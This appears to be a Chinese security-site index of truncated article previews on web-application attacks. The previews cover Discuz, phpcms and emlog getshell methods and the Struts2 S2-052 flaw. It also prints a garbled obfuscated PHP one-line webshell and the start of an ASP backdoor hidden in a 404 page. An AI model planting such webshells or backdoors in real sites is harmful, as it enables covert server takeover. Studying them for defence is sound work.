Discuz论坛漏洞总结
众所周知 dz论坛相对来说是比较安全的 但是也不可以说无坚不摧
Google关键字以及常有目录：
#范例：链接------关键字------CMS别称
#范例：连接------正则表达式------匹配...
phpcms v9 前台getshell脚本（python）
# -*- coding:utf-8 -*-
'''
----------------------
Author : Akkuman
Blog : hacktech.cn
---------------------...
Apache Struts2 REST插件存在S2-052远程代码执行漏洞（CVE-2017-9805）
一、漏洞情况分析
Struts2是第二代基于Model-View-Controller(MVC)模型的java企业级web应用框架，并成为国内外较为流行的容器软件中间件。Xstream是一种OXMappin...
剖析PHP纯符号一句话webshell的代码
?php$_=;$_[+]=;$_=$_.;$_=($_[+]|).($_[+]|).($_[+]^);${_.$_}[_](${_.$_}[__]);? 以上是网上流传的一段由纯符号组成的一句话后门代码，这种代码混淆方法主要用以w...
利用404错误页面隐藏后门
先找一个404错误页面
把源码复制下来保存到本地asp格式
<% if request("77169")="77169" then %>
<title>77169 </title&...
【在线视频】emlog 5.3.1 csrf getshell
一个插件就相当于 你的空间/服务器去em官方请求一个下载文件，然后em替你把文件下载到服务器，然后解压到相对应的目录...
假如我们要下载一个插件，在后台应用中心请求的url是这样的
http://localhost/blog/...